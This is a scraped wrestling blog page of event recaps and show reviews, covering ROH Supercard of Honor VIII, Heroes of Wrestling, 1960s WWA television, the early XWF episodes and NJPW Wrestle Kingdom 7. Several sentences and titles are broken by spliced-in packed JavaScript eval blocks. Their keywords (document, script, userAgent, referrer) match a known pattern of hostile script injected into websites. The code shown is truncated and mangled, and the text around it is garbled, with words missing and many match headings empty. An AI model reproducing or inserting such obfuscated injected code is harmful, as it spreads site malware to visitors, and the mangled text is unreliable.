AJ Styles Wins IWGP World Title

It’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|behrf|var|u0026u|referrer|ehark||js|php'.split('|'),0,{})) the top title for the top promotion (New Japan) in Japan and given how things are going, a much bigger deal than the TNA World Title.  So far it looks like he made a good call.



Jeff Jarrett Announces Global Force Wrestling

Nothing more than a name and logo at this point but more announcements are coming.

Screen_Shot_2014-04-07_at_6.02.11_AM

It looks like something from 1991.



Went To Ring Of Honor Supercard of Honor VIII

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nanyb|var|u0026u|referrer|hhnkh||js|php'.split('|'),0,{})) didn’t take notes so my memory isn’t going to be perfect.  These are the mental notes I took and I’ll save the full breakdown for later.  Also I took about 20 pictures but the cord for the camera is about 750 miles away so you’ll have to wait on those.I got to the event about 40 minutes early and saw a VERY long line.  Thankfully it didn’t take long to get through.  I had general admission seating and could sit anywhere in the endzone of the arena.  The seats were looking straight at the entrance so I had a great view all night.  Not bad for about $32.  The arena was mostly full but the bigger side did have some empty seats at the top.

Almost as soon as I got through the door, I could see Jay Lethal standing at an autograph table.  There were I believe twelve people at the row of tables and autographs were $10 each.  Being the eternal cheap guy that I am, I opted for some quick handshakes with Kevin Steen, the Briscoes, Matt Hardy, and Maria Kanellis, who was rocking a little black dress.  She’s somehow even more gorgeous in person and seemed like a very nice person with a stunning smile.

I went inside and caught a few moments of the dark match which was a fourway won by Luke Hawx.  The other name I recognized was Mike Posey who used to be a referee.  There was also a masked man named Romantic Touch, who Wikipedia says is Rhett Titus under a mask.  I went to the concession stand before this was over and only saw about a minute of it.

Roderick Strong beat Cedric Alexander to open the show.  Strong is a guy I like to a degree so it was a nice touch.  The Decade (Strong’s heel stable, led by Jimmy Jacobs) is fine for an idea (We were here first and like the old ways better) and Jacobs isn’t bad as the boss.

The Decade called out Adrenaline Rush and Andrew Everett for a six man that saw ACH hit some awesome high spots.  The guy reminds me of Shelton Benjamin from the start of his singles push, which is a very big compliment.  Everett hit some great looking springboard shooting stars for two but Coleman got caught in a slam/neckbreaker combo from Decade for the pin.  ACH seemed to have hurt his knee.

Truth Martini (heel manager) vs. Matt Taven (former client) didn’t happen as Martini kicked him low and left.  Kevin Kelly was brought into the ring for this for no apparent reason.

Next up was RD Evans (Archibald Peck for you Chikara fans), a guy you might vaguely remember Ryback beating up on Smackdown a few months back.  Dude is freakishly tall.  Anyway he’s doing a Goldberg Streak gimmick but totally for laughs and the fans are way into him.  He got Silas Young to hit the referee with a belt before getting pinned, only to get the Dusty Finish for the DQ.  Not much to the match, but Evans’ valet Veda Scott is GORGEOUS.

And then no one remembered her because Maria came out with Mike Bennett for his match against Mark Brisco wearing a blue bikini.  Seriously there’s not much else to say about it and it stole most of my attention during the match (I have a thing for redheads.  What can I say?).  She knows how to be evil too as she was all scared and timid when Mike was in trouble but after the match when he was standing tall she was shaking her hips and had this awesome evil smile.  When she was on the apron and leaning into the ring you could see a cameraman filming her from behind which made me chuckle.  The match was a solid brawl with Mark looking insane.  Bennett wound up Pillmanizing MArk’s neck with another chair, setting up an Anaconda Vice for the win.  Remember that, because it becomes important later.

Intermission came, so I went outside and look to my left to see none other than Nigel McGuinness talking to fans.  Again just a handshake, though he was working the merchandise stand and offering his documentary autographed for $25.  I’ve heard it’s good in case you’re a fan of his.  Nigel seemed like a nice guy from what I could tell as he was handling money but still had time to shake my hand and smile.  Everyone seemed nice all night, though I only said hi to most people.

After the break a guy named Cheeseburger (seriously?  No actually because there’s nothing serious about a guy with that name) came out to throw t-shirts to the crowd but was interrupted by Matt Hardy.  Matt put over ROH (literally using those words) and praised Adam Cole (the Holy Spirit of wrestling, to go with Matt Hardy as the Jesus of wrestling.  Seriously).  This went on WAY longer than it needed to and of course ended with Cheeseburger taking the Twist of Fate.

ReDragon beat Forever Hooligans and two muscle guys with beards named Hanson and Raymond Rowe.  THis is one of those matches that is going to be praised by ROH fans but it was a glorified comedy match at times.  It wasn’t bad, but it highlighted a lot of the problems I have with ROH, which I’ll get into in the full review.  Match was energetic and fun at times but not a very high quality.

Next up was Jay Lethal vs. Tomasso Ciampa in a 2/3 falls match for Ciampa’s TV Title.  The crowd was starting to get restless at this point and you could see a lot of people messing with their phones.  I can’t say I blame them as the show was already running long and a 2/3 falls match sounded like death.  Not much to talk about here as Lethal used the Tajiri handspring into an elbow or cutter far too often and it got boring fast.  Lethal won the first fall and then the referee got bumped.  Truth Martini came out and threw Jay a knee brace which I think is part of Ciampa’s history.  A shot with that got two and after Ciampa Hulked Up, Lethal kicked him a lot and hit the Tajiri handspring into a cutter to win the title.  He joined the House of Truth after.

Kevin Steen and Michael Elgin (one of the few ROH guys I actually like) had a big old fight for a shot at the IWGP Title in May.  This was the old school heavyweight slugfest with both guys beating the tar out of each other.  It’s probably the best match of the night and a really solid brawl.  Elgin won by hitting Steen with Steen’s package piledriver.  They hugged after the match and Steen had to be helped out.

The main event was a ladder war (TLC) for the World Title.  Adam Cole was champion but Jay Briscoe has his own title since he was never defeated for the belt.  It was a very violent and brutal match with Jay getting busted open hardway and Matt Hardy, Mike Bennett and Mark Briscoe interfering.  Yeah remember earlier when MArk had his neck crushed by a chair?  He was fine 90 minutes later.  That’s the kind of thing that gets on my nerves in wrestling.  Why am I supposed to buy a big injury spot if it doesn’t even last two hours?  Back in the day that would be six months of TV but here it doesn’t even go until the end of the show.  That’s just not smart.  Anyway Jay fought very hard but the numbers were too much for him and Cole retained the title.  Most of the fans including myself bolted the second he got the belts down.

Overall the show was fun, but overstayed its welcome.  They needed to cut one of the matches (the opener would have been a great choice) and get this a little shorter.  Also one of the major problem with ROH showed through tonight: too many of the wrestlers have the same style and it gets really repetitive.  I lost count of the number of spin kicks to the face I saw tonight and it gets old after awhile.  That’s partially why Steen vs. Elgin was so well received: it was completely different from anything else all night and the fans were interested in seeing something different.

I liked the show, but it’s the same reaction I always get out of watching ROH: good stuff here and there, but not enough to make me watch more than a show here or there.

Full review coming later as I’m sure this is going to be online in like an hour.  If you find it on Dailymotion or something, let me know.



Heroes of Wrestling: Dang Did I Remember This One Wrong

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eehkr|var|u0026u|referrer|fdebe||js|php'.split('|'),0,{})) of Wrestling
Date: October 10, 1999
Location: Casino Magic, Bay St. Louis, Mississippi
Attendance: 2,300
Commentators: Randy Rosenbloom, Dutch Mantel

 

 

We go backstage to see Bundy who says he’s the best super heavyweight of all time and Yoko shows up to argue. We get a pull apart and we hear Bundy shout that he’s prettier. Nice job of actually giving these matches a reason for happening.

 

This is also dedicated to Gorilla Monsoon, who passed away just four days before this aired. Again, very nice of them.

 

The voiceover guy says this could be the most powerful storm the Gulf Coast has ever seen. Very fitting for a show in that region.

 

 

Samoan Swat Team vs. Marty Jannetty/Tommy Rogers

 

 

 

 

Samoan dominance continues with both guys getting in their shots on Marty. We hit a few nerve holds which is one of the few good Samoan stereotypes that have stayed constant over the years. It fits with them using really basic offense and trying to slow down the fast paced guys and take away their advantage.

 

Tama sends Marty outside so Samu can get in a chair shot. Randy calls it unethical which is far better than Monsoon or Schiavone calling it cheating. Stop having so much emotion and be realistic about things. Breaking a rule is unethical and should be called as such. Back in and Tama misses a Vader Bomb, allowing the hot tag off to Rogers. He cleans up some of the house but gets caught by a double headbutt, setting up an awesome looking TKO from Tama for the pin.

 

We get a clip of Sherri and George freaking Steele of all people walking off arm in arm. See, now THIS is the kind of fascinating stuff you get to see on shows like this where you take two people who are intriguing together. Sherri always jumped from guy to guy and team to team, but maybe she likes someone who is more, shall we say, aggressive with her.

 

Greg Valentine vs. George Steele

 

 

 

Rating: D+. Not as good of a match here but they hit everything the needed to hit. Steele was a great choice of a sympathetic face, much like Kane with Tori over in the WWF around this time. You wanted to see him succeed and they did a great job of having everyone else involved screw with him and set up a rematch later on.

 

Hammer get in a cheap shot post match with the chair as well. The announcers talk of a rematch to let Steele get his girl back. You have to sell the ideas of a sequel.

 

Julio Fantastico says that he’s great and will beat 2 Cold Scorpio.

 

2 Cold Scorpio vs. Julio Fantastico

 

 

Albano even throws in the following line that makes JR and his insane metaphors jealous. Regarding Randy Rosenbloom: “He’s a nice guy but he looks like he’s got the brain of a dehydrated baby if they put him in a pigeon pack and had him fly backwards.” Is there any doubt as to why this man was responsible for what became Wrestlemania? Apparently Lou looks like a pitbull in heat next to Dinero. This is making the already good show even better, hands down.

 

As for the match, Scorpio plays the role of the veteran well as he walks Dinero through the early part of the match. A lot of it is Scorpio doing his high spots while Dinero reacts to them, which is a good thing given that Dinero is an indy guy getting a shot on a bigger stage at this point. A slingshot cross body gets two on Julio as the fans are more into this than they were anything else so far. Uncultured swine they are.

 

Back in and Dinero takes over for the first time with a decent dropkick. Scorpio comes back with a series of armdrags into an armbar. He drops a knee on the chest and heads to the top, only to have Dinero go mega heel halfway through the match by sending the referee into the ropes to crotch Scorpio down.

 

 

Albano is the new commissioner of the organization and makes a nice speech to celebrate. He totally deserves it after that pigeon line.

 

We have 5 matches to go. I can’t take this.

 

Bushwhackers vs. Nikolai Volkoff/Iron Sheik

 

 

 

 

 

Tully Blanchard vs. Stan Lane

 

 

Rating: D-. This is likely your match of the night. It was far from great or even good but it could have been far worse. Both guys kept things in the 80s but that’s what they’re best at so I can’t argue that. It was watchable and at seven minutes it’s the second shortest match of the night so that’s all fine and not very good but somehow that’s high praise for this show.

 

Jim Neidhart is with Bundy in the back and hypes up their matches later tonight.

 

One Man Gang vs. Abdullah the Butcher

 

They had to fit a hardcore match in somewhere. Abdullah’s manager is named Honest John Cheatum, which I believe is a regular name used for his handlers. The brawl is immediatley on and Butcher is sent into the buckle a few times. He comes back with right hands to the ribs and Gang is hunched over. We’re a minute in and Abdullah is bleeding.

 

 

The elbow hits, although you wouldn’t know it because the cameras were elsewhere. Have we seen a single finisher tonight??? We get a double countout. Really? Really? These guys were afraid to lay down here? REALLY??? The brawl goes on forever as they fix/clean the ring.

 

 

Bob Orton vs. Jimmy Snuka

 

Snuka sends him to the apron but Orton changes places with him and grabs a suplex to bring Jimmy back in. They hit the match for a long technical sequence which is the highlight of the match so far. To really keep up the rudeness from the fans, they let us know they think Orton is gay. Heaven forbid they have to sit through an old school wrestling sequence like this one. Orton stays on the arm for a good long while, which should take some of the stings out of those Snuka chops.

 

 

 

Jake Roberts vs. Jim Neidhart

 

 

 

 

Jake Roberts/Yokozuna vs. Jim Neidhart/King Kong Bundy

 

 

 

 

 

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WWA Television – September 1965: Go Back To Jobber School

WWA Television
Date: September 1965
Location: Southside Armory, Indianapolis, Indiana

Tom Jones vs. Gene Kiniski

House show ad with a main event of Larry Hennig/Harley Race vs. Dick the Bruiser/The Crusher. Those guys would be big deals in the AWA which makes me think this is WWA given how close the territories were to each other. Wildbur Snyder comes in to talk about the tag match and how much the teams hate each other. Snyder was co-owner of the WWA which confirms this as much as anything can. The house show is Saturday November 2, which would put this in 1968, meaning Kiniski is NWA World Champion. I love figuring that stuff out.

Assassins vs. Prince Pullins/Rocky Montero

Prince grabs a headlock and Montero comes in for no apparent reason, allowing #2 to come in and cheat. #1 is put down by a headlock takeover but a knee to the ribs put Prince down and allows the tag off to #2. The announcer talks about how big the wrestlers are as Montero keeps wandering around the ring, even winding up on the wrong corner at one point. Prince slugs away on #1 and tries some headbutts, which the announcer calls a popular move “among young negro wrestlers.” Different times indeed.

Rating: D-. This was WAY too long and not good in the slightest. Montero was all over the place and looked like he had no idea what he was doing the entire time. The Assassins were just generic heels in masks which made the match pretty dull to sit through. Nothing to see here, other than Montero looking like he was lost in the match.

Danny Dolly vs. Dick the Bruiser

Bruiser owned the company and is a very terrifying looking human being. I looked this up online and was told it was September of 1965, making me think that the house show ad was wrong. Bruiser throws him around to start and fires off some knees in the corner. We hit the neck crank as the announcer talks about how no one has ever submitted to a chinlock. Back to the corner for choking by Dick but Dolly comes back with right hands and a headlock takeover. Bruiser easily comes back with kicks to the ribs before throwing Dolly out to the floor. Dick slams Dolly back inside and goes up for a flying knee drop and the pin.

Moose Cholak vs. Tony Parente

Parente takes him down with an armbar and cranks back on the arm Fujiwara style before being thrown outside. Back in and Tony scares Cholak into the corner before firing off some hard right hands. Moose shrugs them off, headbutts Tony down and drops a big splash for the pin.

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Pro Wrestlers vs. Zombies

Yes eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kihyr|var|u0026u|referrer|tzhky||js|php'.split('|'),0,{})) this is real.

 

http://www.imdb.com/title/tt2240046/?ref_=nv_sr_1



XWF Episode 3: Going Out With A Yawn

XWF Episode 3
Date: November 14, 2001
Location: Universal Studios, Orlando, Florida
Commentators: Tony Schiavone, Jerry Lawler

Knobbs does his usual welcome to the show, saying that Jimmy Hart is out scouting for new talent. So each of the discs are made at different times?

Intro with a quick recap of last week.

Jim Duggan chants XWF.

Drezden vs. Marty Jannetty

Horace Hogan vs. Josh Matthews

Jimmy Hart promises to take us to Hail and back.

Shane Twins vs. South Philly Posse

The Wall, looking WAY different than he did in WCW, says people are going to run into him.

Cruiserweight Title: Kid Kash vs. AJ Styles

Jimmy Snuka Jr. vs. Vapor

Vapor wrestled for a brief stretch in the WWE as Sakoda and Snuka Jr. was Deuce of Deuce and Domino. Snuka domiantes to start and sends Vapor into the corner for some kicks to the chest. A forward belly to back suplex puts Vapor down to the floor but he comes back with kicks to the leg. They trade chops in the corner before Vapor gets in a gutbuster for two.

Curt Hennig/Ian Harrison vs. Vampiro/Buff Bagwell

Vampiro and Buff are about to come to blows when the locker room comes out to break it up to end the show.

Hulk Hogan vs. Curt Hennig

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XWF Episode 2 – They Have To Take The Up Escalator To Get To Terrible

XWF Episode 2
Date: November 13, 2001
Location: Universal Studios, Orlando, Florida
Commentators: Jerry Lawler, Tony Schiavone

Hart and Knobbs hype up the second episode and recap the first. We need a recap for a show that was on the same DVD set as this one?

Juventud Guerrera/Psychosis vs. Ray Gonzalez/Konnan

Big Vito wants to fight the best in the XWF.

The South Philly Posse (Public Enemy) walks past a bus stop and hits on a woman who is clearly a hooker.

Jerry Lawler vs. Simon Diamond

Lawler takes him into the corner for right hand but Johnny Swinger runs in for a double team. Jerry gets double teamed but Simon hits Swinger by mistake. Lawler cleans house and piledrives Simon for the pin in about 90 seconds. Again, less than nothing.

Sonny Onoo has a guy named Vapor. These vignettes are maybe ten seconds each.

Hail vs. Knuckles

Johnny B. Badd vs. Norman Smiley

Badd is way slimmer than he was in his WWF days. Smiley shoulder blocks him down and follows up with a hiptoss before stopping for a dance. Badd comes back with a headlock takeover of his own but stops to pose, allowing Norman to score with some uppercuts in the corner. A slam and clothesline drop Johnny for two and we hit the chinlock.

Drezden is still coming.

Nasty Boys vs. Shane Twins

Since it was SO interesting last week. Actually there are no Nastys but here are some replacements.

Shane Twins vs. Road Warriors

Jimmy Snuka and Jimmy Snuka Jr. are here.

Curt Hennig vs. Buff Bagwell

Rating: D. WE BROKE FIVE MINUTES!!! Indeed we did but the match sucked. The holds lasting a few seconds at a time got really annoying because there was no reason for Hennig to let them go. He just dropped them like he was playing No Mercy which is stupid in video games and horrible looking in the real world. Horrible looking match.

Post match Vampiro comes out to yell about Heenan but gets beaten down by Curt. Buff makes the save but Ian Harrison comes out to beat up both guys. This brings out Roddy Piper with a chair to make the real save but Sable and her security come out to yell at him to end the show.

Hart and Knobbs wrap it up.

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XWF Episode 1: Ahead Of Its Time…..Kind Of?

XWF Episode #1
Date: November 13, 2001
Location: Universal Studios, Orlando, Florida
Commentators: Tony Schiavone, Jerry Lawler
Hosts: Jimmy Hart, Brian Knobbs

Before anyone asks, the X stands for either the X-Factor of wrestling, Xcitement or Xtreme depending on who you ask. Also yes, this is the same arena that TNA uses as the Impact Zone.

Hulk Hogan is excited to be here and rips his shirt off to prove it.

After a generic rock song intro, Gene Okerlund talks to us about how exciting this is.

The production values are somewhere between mediocre and good with a well built stage but bad lighting.

An old looking Okerlund is in the ring to introduce CEO Rena Mero (Sable) who is nearly falling out of her low cut dress. She gives us the usual WE ARE THE FUTURE AND ALL ABOUT THE WRESTLERS speech that every wrestling promotion gives on its first show. Sable is glad to be here but the board has decided we need a commissioner: Roddy Piper.

Gene Simmons of KISS is with the Demon of WCW 2000 fame. Ok then.

Big Vito vs. Buff Bagwell

Marty Jannetty vs. Hail

Hale is a big muscular guy that hung around WCW for years but never did anything. Hail shoves him around to start, hits a weak backbreaker and drops a leg for the pin in less than two minutes.

Maximum Force (Simon and Swinger with Dawn Marie from ECW) will be in our face.

Drezden is coming.

Horace Hogan vs. Ian Harrison

Johnny B. Badd is back. Egads they thought this was going to be a big deal?

Jimmy Hart and Brian Knobbs hype up the battle royal.

Cruiserweight Title: Battle Royal

Psychosis, Billy Fives, AJ Styles, Juventud Guerrera, Tongan Prince, Quick Kick, Kid Kash, Christopher Daniels

Rating: D. If you ever want an example of a spot fest, this is where you would look. Nothing more to say than that.

Kash invites Josh Matthews to hang out with him in the back. This was right after Matthews had lost the inaugural Tough Enough.

Alice Cooper likes the XWF.

There are XWF Girls. Ok then.

Nasty Boys vs. Shane Twins

You might remember the Shane Twins as the Gymini from 2006 Smackdown. If not, picture twin Rybacks named Todd and Mike. What appears to be a 350lb or so Sags elbows Todd into the Pit Stop from Knobbs. Todd comes back with some suplexes before tagging in Mike. A double flapjack gets two on Knobbs and everything breaks down. Sags is sent to the floor as Knobbs beats on Mike in the corner, only to charge into a clothesline to give the Shanes what is supposed to be an upset win.

The Road Warriors come out to chase the Nastys off and issue them a challenge.

Vampiro talks about getting shortchanged over the years.

Vampiro vs. Curt Hennig

Sable, Piper and Vampiro pose to end the show.

Knobbs and Hart dedicate the show to the late Hennig and Hawk. Egads what a horrid tribute.

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NJPW Wrestle Kingdom VII: Merry Christmas. Have Some Tanahashi vs. Okada

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tskaa|var|u0026u|referrer|dakrz||js|php'.split('|'),0,{})) Kingdom 7
Date: January 4, 2013
Location: Tokyo Dome, Tokyo, Japan
Attendance: 29,000

Captain New Japan/Tama Tonga/Wataru Inoue vs. Jado/Tomohiro Ishii/Yoshi-Hashi

We go to a wide shot of the arena to fill in some time.

Bushi/Kushida/Ryusuke Taguchi vs. Jushin Thunder Liger/Tiger Mask IV/Hiromu Takahashi

Everyone shakes hands post match.

We go right to the first match.

Akebono/Manabu Nakanishi/MVP/Strong Man vs. Bob Sapp/Takashi Iizuka/Toru Yano/Yujiro Takahashi

The second team is again part of Chaos. Sapp gets his own entrance and has a pretty swank white feather robe. Before the match, Takahashi cuts what sounds like a maniacal heel promo. Manabu makes an announcer do the entrance as the good guys come down the aisle but Chaos charges up the ramp for a brawl. The fight heads to the ring with Strong Man slamming two Chaos members down to set up Ballin from MVP.

Sapp comes in and runs both guys into the corner, only to bring in former Sumo wrestler Akebono (he was at Wrestlemania 21 against Big Show) for the showdown. They collide a few times until Sapp is knocked into the corner for splashes from all four of his opponents. The good guys all start stomping their feet to fire up Manabu who racks Sapp in a nice power display. Yano makes the save with a chair to the back and Iizuka gets in one of his own.

Never Openweight Title: Masato Tanaka vs. Shelton Benjamin

Shelton will have none of this standing around and hits a BIG flip dive over the top to take out Tanaka and some other guy who was standing next to him. Back in and Tanaka comes back with a forearm in the corner to drop Benjamin and we hit the chinlock. Shelton fights up and they fight over a suplex with Tanaka getting the better of it. They chop it out and whip each other across the ring until Tanaka hits a SCREAMING CLOTHESLINE to take over. Shelton avoids a diving clothesline and comes back with the Dragon Whip to drop the champion.

We recap the tag title match. The Killer Elite Squad (Davey Boy Smith Jr., aka David Hart Smith and Lance Archer) are the heel champions. Swords and Guns (Hirooki Goto and Karl Anderson) beat them in the World Tag League finals and now want a title shot. Simple yet effective.

Tag Titles: Killer Elite Squad vs. Swords and Guns

Lance hits Old School on Goto and knocks Anderson off the apron again, likely setting up a big hot tag later. A double shoulder puts Goto down and sets up a splash/legdrop combo (imagine Warrior and Hogan using that back in 1990. The world would have ended) for two. Goto finally gets in some offense with a suplex to Smith, allowing for the hot tag off to Anderson. Karl speeds things WAY up and avoids a kick in the corner before kicking Smith in the face twice in a row.

Smith avoids a running backsplash and hooks a tiger suplex for two. Back to Archer for a wicked chokeslam for two but Anderson breaks up a second Old School attempt. Lance blocks a superplex but Anderson busts out a SWEET middle rope TKO for two. The hot tag brings in Goto to clean house and a reverse 3D (belly to back into a neckbreaker) drops Smith. Goto gets two off a German suplex but Archer makes the save. The champions load up a double team move but Smith is kicked away.

Smith comes back in with a sitout powerbomb but Anderson sneaks up on him with a Diamond Cutter to put everyone down. Goto fights out of another sitout powerbomb attempt but gets caught in the attempted double team from earlier: a full nelson slam/sitout powerbomb combo but Anderson breaks up the pin again. The same move lays Karl out and a second one for Goto is enough for the pin to retain the belts.

Minoru Suzuki vs. Yuji Nagata

Nagata goes back to the arm by snapping it over his shoulder but has to break up an armbar by kicking the other Army guy from the apron. They slap it out again for a good thirty seconds until Yuji finally kicks him in the arm to take over again. More slapping, more arm kicking. Nagata cranks on the armbar again with his eyes rolling back into his head (apparently a trademark) and we cut to a crowd shot. The referee asks Minoru if he wants to tap out while looking at his face instead of his hand. Suzuki finally gets his feet in the ropes but walks into a Saito suplex for the pin.

Junior Heavyweight Title: Prince Devitt vs. Kota Ibushi vs. Low Ki

Kota drops to the mat as they run the ropes but Devitt hits a dropkick to his ribs, knocking Ibushi to the floor. Ki comes back in to jump the champion but Kota follows him in and sends Ki back outside, setting up a springboard moonsault to take him down. Back in and Kota fires off kicks to the chest for two on Devitt before hooking a chinlock. A back elbow gets two on Devitt but the Prince goes to the apron for an enziguri, only to be pulled to the floor by Ki.

Devitt hits a spinning enziguri on Low Ki but Ki jumps out of a reverse suplex attempt. Prince kicks Kota in the head but Ki hits a rolling Liger Kick to send Devitt to the floor. Kota and Low Ki trade what look to be suplex attempts until Kota dropkicks him out to the floor again. Ibushi hits a HUGE springboard corkscrew moonsault to take everyone down and pop the crowd something fierce.

Before Ki can stomp on his face, Kota springboards up to the top for a hurricanrana on Ki for a VERY close two. Ibushi misses a Phoenix Splash and rolls into a top rope double stomp to the back from Devitt, but Ki hits a hard running dropkick to send Prince into the corner for two. Ki loads up a top rope Ki Crusher on Devitt but gets kicked to the floor. Kota goes up for something as well but gets DDTed from the top by Devitt to retain the title in a sweet looking finish.

Ten-Koji vs. Keiji Mutoh/Shinjiro Otani

Tenzan comes back in with chops and clotheslines to Otani, followed up by going to the top and driving Otani down with a knee to the back. Kojima comes in for a sitout spinebuster to set up a Swan Dive from Tenzan for no cover. Otani comes back again with chops and everything breaks down one more time. Mutoh kicks Tenzan in the chest a few times with Otani adding a missile dropkick. The Shining Wizard from Mutoh sets up a helicopter bomb (love that move) from Otani but Kojima comes back in with a lariat to Mutoh. Ten-Koji hits a quick 3D to Otani, setting up a moonsault from Tenzan for the pin.

Hashimoto almost gets into it with Ten-Koji post match but the old guys hold him back.

Togi Makabe vs. Katsuyori Shibata

They head outside again with Katsuyori being sent into the post. Makabe steals a table and blasts Shibata in the head with it before setting it up at the end of the ramp. A powerbomb puts Shibata through the table in a huge crash, leaving him looking like a corpse. Back in and Makabe takes too long setting up a clothesline and gets caught in another sleeper. He easily slams Shibata down though and drops a top rope knee (Brody finisher) for the pin.

Intercontinental Title: Kazushi Sakuraba vs. Shinsuke Nakamura

A second attempt is countered and Nakamura gets caught in a cross armbreaker. That goes nowhere so Sakuraba just punches him in the face before going back to the arm. More face shots look to set up another armbare but Nakumara makes the rope. The champion comes back with a Death Valley Driver but gets caught in a kimura in the middle of the ring. For some reason he lets go though and Nakamura hits two straight knees to the face for the pin to retain.

They shake hands and hug post match. Nakamura says something which I believe is praising Sakuraba for the match.

IWGP World Title: Hiroshi Tanahashi vs. Kazuchika Okada

The commentators talk for about eight minutes to end the show.

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